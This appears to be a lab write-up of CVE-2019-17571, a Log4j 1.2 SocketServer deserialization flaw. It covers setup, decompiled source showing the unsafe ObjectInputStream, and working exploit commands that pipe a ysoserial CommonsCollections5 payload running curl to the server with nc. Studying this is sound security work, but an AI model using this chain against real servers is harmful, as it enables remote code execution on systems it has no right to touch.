Cve 2019 17571
CVE-2019-17571
Setup
- JankenTestLogServer.jar - Apache Log4j 1.2.X server ( JankenTestLogServer.jar )
- java jdk1.7.0_80
- jadx: Java decompiler
- config.properties - config file with following content
1
2
3
4
5
6
7
8
9
10
log4j.rootLogger=DEBUG, consoleAppender, fileAppender
log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.consoleAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n
log4j.appender.fileAppender=org.apache.log4j.RollingFileAppender
log4j.appender.fileAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.fileAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n
log4j.appender.fileAppender.File=demoApplication.log
Running the log4j server. We run it on port 5111
(first argument) with config.properties
as config file(2nd argument)
1
2
3
$ java -jar JankenTestLogServer.jar 5111 config.properties # this will run a server on port 5111 listening for socket connection
# config.properties file is described above in setup
Finding the bug
Open JankenTestLogServer.jar
with jadx
to view the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
try {
logger.info("Listening on port " + port);
ServerSocket serverSocket = new ServerSocket(port);
while (true) {
logger.info("Waiting to accept a new client.");
Socket socket = serverSocket.accept();
logger.info("Connected to client at " + socket.getInetAddress());
logger.info("Starting new socket node.");
new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "JankenTestLogServerApplication-" + port).start();
}
} catch (Exception e) {
e.printStackTrace();
}
The code starts Listening on port provided(5111 in our case) and whenever there is a new connection a new Thread is spawn to fulfil the socket request. The following code is responsible for that:
1
2
3
new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "JankenTestLogServerApplication-" + port).start();
So lets inspect SocketNode
function. Its imported from import org.apache.log4j.net.SocketNode;
. Lets open SocketNode.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public SocketNode(Socket socket2, LoggerRepository hierarchy2) {
this.socket = socket2;
this.hierarchy = hierarchy2;
try {
this.ois = new ObjectInputStream(new BufferedInputStream(socket2.getInputStream()));
} catch (InterruptedIOException e) {
Thread.currentThread().interrupt();
logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e);
} catch (IOException e2) {
logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e2);
} catch (RuntimeException e3) {
logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e3);
}
}
So the Input from socket stream is read directly into ObjectInputStream
and this is where Deserialization occurs. So we just need to send a serialized rce object and this will get us rce.
Exploit
1
2
3
$ tar -xf jdk-7u80-linux-x64.tar.gz
$ ./jdk-7u80-linux-x64/bin/java -jar ysoserial.jar CommonsCollections5 "curl http://localhost:1111/" > haxtest.bin
$ cat haxtest.bin | nc localhost 5111
Enjoy the rce